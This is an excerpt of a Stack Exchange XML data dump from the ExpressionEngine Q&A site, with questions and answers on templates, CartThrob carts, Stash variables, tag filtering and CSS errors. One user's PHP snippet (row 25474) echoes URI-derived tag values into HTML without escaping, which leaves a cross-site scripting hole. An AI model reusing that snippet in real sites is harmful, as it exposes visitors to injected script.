&quot;current-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;tower[data][]&quot; value=&quot;{tower}&quot; {if tower == &quot;could-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                    &amp;lt;tr class=&quot;singleton&quot;&amp;gt;&#xA;                        &amp;lt;td&amp;gt;Foundation&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;foundation[data][]&quot; value=&quot;{foundation}&quot; {if foundation == &quot;current-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;foundation[data][]&quot; value=&quot;{foundation}&quot; {if foundation == &quot;could-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                    &amp;lt;tr class=&quot;singleton&quot;&amp;gt;&#xA;                        &amp;lt;td&amp;gt;Transmission / Electrical&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;transmission_electrical_services[data][]&quot; value=&quot;{transmission_electrical_services}&quot; {if transmission_electrical_services == &quot;current-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;transmission_electrical_services[data][]&quot; value=&quot;{transmission_electrical_services}&quot; {if transmission_electrical_services == &quot;could-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                    &amp;lt;tr class=&quot;singleton&quot;&amp;gt;&#xA;                        &amp;lt;td&amp;gt;Marine Trades&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;marine_trades[data][]&quot; value=&quot;{marine_trades}&quot; {if marine_trades == &quot;current-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;marine_trades[data][]&quot; value=&quot;{marine_trades}&quot; {if marine_trades == &quot;could-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                    &amp;lt;tr class=&quot;singleton&quot;&amp;gt;&#xA;                        &amp;lt;td&amp;gt;Research / Academic / Workforce Development&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;research_academic_workforce_dev[data][]&quot; value=&quot;{research_academic_workforce_dev}&quot; {if research_academic_workforce_dev == &quot;current-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;research_academic_workforce_dev[data][]&quot; value=&quot;{research_academic_workforce_dev}&quot; {if research_academic_workforce_dev == &quot;could-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                &amp;lt;/tbody&amp;gt;&#xA;            &amp;lt;/table&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt; &#xA;        &amp;lt;div class=&quot;clearer&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;input type=&quot;image&quot; src=&quot;/photos/btn_submit-survey.png&quot; alt=&quot;&quot; value=&quot;Submit&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- end div.facility-form --&amp;gt;&#xA;&#xA;    {/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, neither one works. What is the correct way to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="258" LastEditorUserId="258" LastEditDate="2014-09-03T16:11:26.297" LastActivityDate="2016-10-26T20:38:30.927" Title="Channel Form checkbox fields not saving on edit" Tags="|safecracker|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25474" PostTypeId="2" ParentId="25462" CreationDate="2014-09-03T02:27:41.303" Score="0" Body="&lt;p&gt;Thanks @dashard but that's not really what I needed. I guess my explanation wasn't clear enough. Sorry about that! I'm not showing one entry on the page. I'm showing all entries filtered by any number of tags, so my URI looks like that: &lt;code&gt;mysite.com/template/tag/tag01:tag02:tag03&lt;/code&gt;and I'm showing all entries tagged with &lt;code&gt;tag01&lt;/code&gt; and &lt;code&gt;tag02&lt;/code&gt; and &lt;code&gt;tag03&lt;/code&gt;. I want to have a list of the current &quot;page filtering&quot; so to speak, and let the user remove some of those tags in order to broaden the filtering if they want to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought the functionality might be built in, that's why I asked… But it doesn't seem like it, so I just coded it up in PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case anyone is interested, that's how it looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    // get the last URI segment&#xA;    $tag_segment = array_pop(explode(&quot;/&quot;, urldecode($_SERVER[&quot;REQUEST_URI&quot;])));&#xA;    // put the tags in an array&#xA;    $tags = explode(&quot;:&quot;, $tag_segment);&#xA;    $tag_links = &quot;&quot;;&#xA;    // loop through the tags&#xA;    foreach ($tags as $t) {&#xA;        // rebuild the tag URI segment with all tags but WITHOUT the current one&#xA;        // so when we click on a tag, it &quot;removes&quot; itself&#xA;        $tags_others = implode(&quot;:&quot;, array_diff($tags, array($t)));&#xA;        // build the tag list&#xA;        $tag_links .= '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path=tag}/'.str_replace(&quot; &quot;, &quot;+&quot;, $tags_others).'&quot;&amp;gt;'.$t.'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;    }&#xA;?&amp;gt;&#xA;&amp;lt;ul class=&quot;tags&quot;&amp;gt;&#xA;    &amp;lt;?=$tag_links;?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1260" LastActivityDate="2014-09-03T02:27:41.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25475" PostTypeId="2" ParentId="25470" CreationDate="2014-09-03T02:34:08.820" Score="1" Body="&lt;p&gt;Yes, you can empty it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Importer temporarily stores the file somewhere to read and use it, whether you submit your original data file through a manual upload, remote URL, server path, etc. The EE cache folder is where these files are temporarily stored.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-09-03T02:34:08.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25476" PostTypeId="2" ParentId="25462" CreationDate="2014-09-03T02:46:52.307" Score="0" Body="&lt;p&gt;You could use &lt;code&gt;{exp:tag:cloud}&lt;/code&gt; and provide a pipe-delimited list of your tags in the &lt;code&gt;tag_name=&quot;&quot;&lt;/code&gt; parameter: &lt;a href=&quot;http://www.solspace.com/docs/tag/cloud/#tag_name&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/tag/cloud/#tag_name&lt;/a&gt; You would need to search/replace colons &lt;code&gt;:&lt;/code&gt; to pipes &lt;code&gt;|&lt;/code&gt;. You can do this with PHP set to &lt;strong&gt;input&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;   $tags = '{segment_3}'; // This is parsed early, before PHP &#xA;   $tags = str_replace(':', '|', $tags);&#xA;?&amp;gt;&#xA;&#xA;{exp:tag:cloud tag_name=&quot;&amp;lt;?php echo $tags; ?&amp;gt;&quot;}&#xA;   // Your list of tags&#xA;{exp:tag:cloud}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There might be add-ons that can do the same thing, and there is also embed templates that you could use to get around parse order.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-09-03T02:46:52.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25478" PostTypeId="1" CreationDate="2014-09-03T11:23:28.277" Score="1" ViewCount="142" Body="&lt;p&gt;I'm using default CT store template and Shipping by Location Weight Threshold w/Options shipping plugin (&lt;a href=&quot;https://github.com/CartThrob/cartthrob-shipping-by_location_weight_threshold_w_options&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/CartThrob/cartthrob-shipping-by_location_weight_threshold_w_options&lt;/a&gt;) on EE 2.9/CT 2.6, and running into issue on Shipping template where toggling between countries doesn't correctly reset the shipping options select display. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does generate the correct shipping price for the leftnav display, but the select itself doesn't refresh to show the proper rates. So, if you switch from USA to UK (or any other country), it'll change the leftnav from USA to correct UK shipping amount, but the select still shows the USA options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UBq9Q.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qqm1S.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1747" LastActivityDate="2014-09-03T11:23:28.277" Title="Triggering Cartthrob shipping options with country select?" Tags="|cartthrob|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25483" PostTypeId="1" CreationDate="2014-09-03T16:37:00.823" Score="1" ViewCount="41" Body="&lt;p&gt;I am having a problem with my EE CartThrob cart. I have products with &quot;options&quot; for size. In the cart if I add 1 item size Small and 1 item size Medium they get added as the same item with a quantity of 2 and the size option set to Medium. It ignores my first size selection and combines it with the most recent selection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to adjust this so each size is it's own entry in the cart?&lt;/p&gt;&#xA;" OwnerUserId="3542" LastActivityDate="2016-06-17T15:39:50.590" Title="Separate items in cart by size option" Tags="|cartthrob|options|size|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25484" PostTypeId="2" ParentId="25387" CreationDate="2014-09-03T17:24:31.477" Score="2" Body="&lt;p&gt;Had to submit a support ticket over at Solspace and got help right away. Solution was to set the Unique Field setting to something other than member_id and the import worked beautifully. Big thanks to Nicolas Bottari. :D&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2014-09-03T17:24:31.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25485" PostTypeId="1" CreationDate="2014-09-03T17:47:54.520" Score="0" ViewCount="41" Body="&lt;p&gt;When logging in with Social Login Pro I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;&#xA;Error Number: 1054&#xA;&#xA;Unknown column '-7200' in 'where clause'&#xA;&#xA;SELECT `ip_address`, `user_agent` FROM (`exp_sessions`) WHERE `member_id` = '75' AND `-7200` IS NULL AND `site_id` = '1'&#xA;&#xA;Filename: third_party/social_login_pro/mod.social_login_pro.php&#xA;&#xA;Line Number: 1481&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My system:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE Version: 2.9.0&lt;br /&gt;&#xA;Social Login Pro version: 1.8.0 &lt;/p&gt;&#xA;" OwnerUserId="1755" LastActivityDate="2014-09-03T17:47:54.520" Title="Social Login Pro Error:" Tags="|error|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25486" PostTypeId="2" ParentId="25318" CreationDate="2014-09-03T18:42:28.340" Score="0" Body="&lt;p&gt;You nailed down exactly why this one is happening.  Transcribe by default looks at the native tracker array in the ExpressionEngine core when determining the page to switch to when changing languages.  I would recommend taking a peek at the {exp:transcribe:no_match} tag &lt;a href=&quot;http://eeharbor.com/transcribe/documentation#tag-reference&quot; rel=&quot;nofollow&quot;&gt;http://eeharbor.com/transcribe/documentation#tag-reference&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="801" LastActivityDate="2014-09-03T18:42:28.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25487" PostTypeId="1" AcceptedAnswerId="25515" CreationDate="2014-09-03T19:30:29.410" Score="1" ViewCount="59" Body="&lt;p&gt;I've got protect_javascript set to no, here's what I'm trying to do...I'm trying to insert a proform form (blog subscribe) after the 2nd paragraph in every blog post.  I've got this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA; $( &quot;.blogbody p:nth-child(3)&quot; ).after( &quot;{exp:proform:simple form='blog_subscribe' thank_you_url='/page/thank-you-for-signing-up'}&quot; );&#xA; &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it renders immediately in the footer (where the script is) and breaks the javascript.  Anyone have a clue how to fix this?&lt;/p&gt;&#xA;" OwnerUserId="3543" LastActivityDate="2014-09-04T12:10:19.217" Title="Using EE Proform tag inside Javascript - Not working" Tags="|javascript|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25488" PostTypeId="1" AcceptedAnswerId="25506" CreationDate="2014-09-03T20:17:35.513" Score="0" ViewCount="63" Body="&lt;p&gt;I'm trying to set a stash variable in a custom module I'm writing with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$params = array(&#xA;    'name'  =&amp;gt; 'st_test_variable',&#xA;    'scope' =&amp;gt; 'user',&#xA;    'type'  =&amp;gt; 'snippet'&#xA;);&#xA;$value = &quot;Test test&quot;;&#xA;Stash::set($params, $value);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However when I try and retrieve this in a template I get nothing. The code I'm using is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;st_test_variable&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should this be possible to do? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bit of additional info: I'm using Stash 2.5.7 with EE 2.5.2 (not able to upgrade right now!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="308" LastEditorUserId="308" LastEditDate="2014-09-04T07:35:16.027" LastActivityDate="2014-09-04T08:15:24.337" Title="Problem setting a stash variable in a custom module" Tags="|stash|add-on-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25490" PostTypeId="1" CreationDate="2014-09-03T21:00:10.043" Score="2" ViewCount="106" Body="&lt;p&gt;I have a few pre-sales questions about Subscriptions. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Can it handle subscribers who pay by cash/cheque? Can they be kept in a Pending group until offline payment confirmed?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can notifications be sent out in advance of a subscription expiring rather than just when expired or renewed? For example, a reminder sent out 4 weeks before the sub expires.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there any conflicts with other Member addons such as Zoo Visitor? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Very excited by this addon.&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2014-11-03T00:12:56.340" Title="Pre-Sales Questions" Tags="|devdemon|subscriptions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25491" PostTypeId="2" ParentId="25490" CreationDate="2014-09-03T22:43:23.250" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;No it can't do offline payments, we started with Stripe &amp;amp; Authorize.net&lt;/li&gt;&#xA;&lt;li&gt;Is this for non-renewing Subscriptions? Or also for auto-renew?&lt;/li&gt;&#xA;&lt;li&gt;No conflicts, we do want to support member registration and subscription signup on the same form. Would love to hear your set up.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;We want to gather as much feedback/ideas as possible. Please get in touch via our contact form so we can keep track of all requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We already received some pretty crucial feedback in the last few days.&lt;/p&gt;&#xA;" OwnerUserId="934" LastActivityDate="2014-09-03T22:43:23.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25492" PostTypeId="2" ParentId="25464" CreationDate="2014-09-03T22:44:49.443" Score="1" Body="&lt;p&gt;This bug has been fixed internally and an update will be released very soon.&lt;/p&gt;&#xA;" OwnerUserId="934" LastActivityDate="2014-09-03T22:44:49.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25493" PostTypeId="2" ParentId="25370" CreationDate="2014-09-03T22:47:39.807" Score="1" Body="&lt;p&gt;We resolved this via our internal ticket system:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Omnipay has a “curated” list of supported gateways, if your gateway is not listed, it won’t be loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open: store/vendor/omnipay/common/composer.json and in the extra/gateways array you will find the supported gateways.&lt;/p&gt;&#xA;" OwnerUserId="934" LastActivityDate="2014-09-03T22:47:39.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25494" PostTypeId="1" AcceptedAnswerId="25527" CreationDate="2014-09-03T23:23:25.173" Score="0" ViewCount="114" Body="&lt;p&gt;I have a channel for my products (&lt;code&gt;items&lt;/code&gt;) and I want some of the entries there to &lt;strong&gt;not&lt;/strong&gt; specify a price (meaning, leave the &lt;code&gt;price&lt;/code&gt; field blank). When I loop through my items entries, it doesn't display those items where the &lt;code&gt;price&lt;/code&gt; field is left blank:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;items&quot;&#xA;}&#xA;    {exp:store:product&#xA;        entry_id=&quot;{entry_id}&quot;&#xA;    }&#xA;        {if '{price}' == ''}&#xA;            nothing&#xA;        {if:else}&#xA;            {price}&#xA;        {/if}&#xA;&#xA;        &amp;lt;h1&amp;gt;{price}: {length}x{width}x{height}&amp;lt;/h1&amp;gt;&#xA;    {/exp:store:product}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reason I want to leave the &lt;code&gt;price&lt;/code&gt; field blank is because I want to set the price of some items in the template. A lot of the items for sale won't have a set selling price. Rather, there will be a set profit margin added on top of the item's cost based on the item's category (and these profit margins per category will change from time to time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do I display items that have a NULL price? If this is not possible, I guess I can just set it to any number less than 0 and consider that the case when I should set the selling price on the fly.&lt;/li&gt;&#xA;&lt;li&gt;How do I set the price of an item on the fly?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-10-05T13:46:19.143" Title="Exp-resso Store: how to display items with no price? How to set price on the fly?" Tags="|expresso-store|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25495" PostTypeId="1" AcceptedAnswerId="32048" CreationDate="2014-09-03T23:46:16.253" Score="1" ViewCount="32" Body="&lt;p&gt;Is it possible in CPanel to restrict the assignment of a channel entry to a single leaf node category? My categories are hierarchical and only a single, bottom-most category is valid per channel entry.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-06-23T09:47:54.730" Title="Restrict Category Assignment To A Single Leaf Node" Tags="|channel-entries|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25497" PostTypeId="1" CreationDate="2014-09-04T00:43:03.047" Score="0" ViewCount="68" Body="&lt;p&gt;I am running into a problem with the fieldpack checkbox on a site I am developing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the following code inside an {exp:channel:entries} loop, but the first two entries is echoing out the if conditional as seen below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel entries loop: {exp:channel:entries channel=&quot;stories&quot; orderby=&quot;entry_date&quot; sort=&quot;desc&quot; limit=&quot;20&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if conditional: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{story_type:selected option='Video'}&quot;}&#xA;    &amp;lt;span class=&quot;prl-overlay-area o-video&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;{/if}&#xA;{if '{story_type:selected option=&quot;Audio&quot;}'}&#xA;    &amp;lt;span class=&quot;prl-overlay-area o-video&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What the page shows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UPd2W.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;as seen here: &lt;a href=&quot;http://new.danaloeschradio.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://new.danaloeschradio.com/&lt;/a&gt; (below the gunbox ad).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="2543" LastActivityDate="2016-06-12T16:33:04.013" Title="P&amp;T Fieldpack:Checkbox - Spitting out if conditional instead of parsing it" Tags="|pixelandtonic|conditionals|pt-checkboxes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25498" PostTypeId="2" ParentId="25453" CreationDate="2014-09-04T01:05:36.907" Score="1" Body="&lt;p&gt;The following solution, from the Solspace support site, might be what you are looking for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://support.solspace.com/solution/categories/115922/folders/4000004901/articles/4000020599-how-to-display-a-chronological-list-of-events-with-each-unique-event-appearing-only&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to display a chronological list of events, with each unique event appearing only once&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also been mentioned in these threads:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/24269/solspace-calendar-limit-occurrence-returned/24271#24271&quot;&gt;Solspace Calendar Limit Occurrence Returned&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/19684/solspace-calendar-only-show-next-occurrence-of-recurring-event-in-list-of-recur/19686#19686&quot;&gt;Solspace Calendar: Only show next occurrence of recurring event in list of recurring and non-recurring events&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Summary&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One approach is to use PHP to create an array of unique events, and display your event data only when the event is encountered for the first time in {exp:calendar:cal}. Here's an example (turn on PHP for your template and set it to Output):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Create the arrays --}&#xA;&amp;lt;?php &#xA;    $event_ids = array();&#xA;    $event_data = array();&#xA;?&amp;gt;&#xA;&#xA;{!-- &#xA;    // Check if the event was already encountered (i.e. is in the array),&#xA;    // and store your data in a separate array if this is the first time&#xA;    // encountering this event &#xA;--}&#xA;{exp:calendar:cal /* your other parameters here */}&#xA;&amp;lt;?php &#xA;    if( ! in_array('{event_id}', $event_ids) )&#xA;    {&#xA;        $event_ids[] = '{event_id}';&#xA;        $event_data[] = '* The data you want displayed *';&#xA;    }&#xA;?&amp;gt;&#xA;{/exp:calendar:cal}&#xA;&#xA;{!-- Display event data, still in chronological order --}&#xA;&amp;lt;?php &#xA;    foreach($event_data as $data)&#xA;    {&#xA;        echo $data;&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course there are likely other strategies, using PHP, Stash, or other means, but the main idea is to create a list/group/array of unique events within your timeframe.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-09-04T01:05:36.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25499" PostTypeId="2" ParentId="25497" CreationDate="2014-09-04T01:49:38.687" Score="0" Body="&lt;p&gt;Looks like I figured it out.  For reference in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here was the culprit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_str:ing remove_html substr=&quot;0|150&quot; xss_clean}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;specifically, &quot;substr&quot;.  This method of ce_string and P&amp;amp;T Fieldpack did not play nice together on the same page.  I fixed it by using the following alternative method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_str:ing remove_html truncate=&quot;150|...&quot; xss_clean}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2543" LastActivityDate="2014-09-04T01:49:38.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25500" PostTypeId="1" CreationDate="2014-09-04T03:54:31.873" Score="1" ViewCount="1551" Body="&lt;p&gt;I cannot get style sheets, template type CSS, to display.&#xA;All I get is a 404 error when I attempt to view a CSS file, js works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mydomain.com/?css=style/mycss&quot; rel=&quot;nofollow&quot;&gt;http://mydomain.com/?css=style/mycss&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Displays a 404 error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running under Apache2, error log appears to be no help.&#xA;I was thinking this looks like a permission error, but no seeing that js works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine v2.9.0 - Build Date: 20140715&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone seen this before?&lt;/p&gt;&#xA;" OwnerUserId="2854" LastActivityDate="2014-11-14T22:33:33.853" Title="Style sheet CSS not showing" Tags="|css|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25501" PostTypeId="2" ParentId="25500" CreationDate="2014-09-04T04:24:02.350" Score="1" Body="&lt;p&gt;Your url adress is not correct,  to display your css file, you have to set the related path: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mydomain/path/file.css&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example: &#xA;Domain.com/main/color.css&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No need to put ?css=, it will give you a 404 error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But why do you want to display a css file? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use a css template you have to insert the template path inside the page header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;href=&quot;{stylesheet='channel/channel_css'}&quot; &lt;/p&gt;&#xA;" OwnerUserId="1918" LastEditorUserId="1918" LastEditDate="2014-09-04T18:54:10.980" LastActivityDate="2014-09-04T18:54:10.980" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
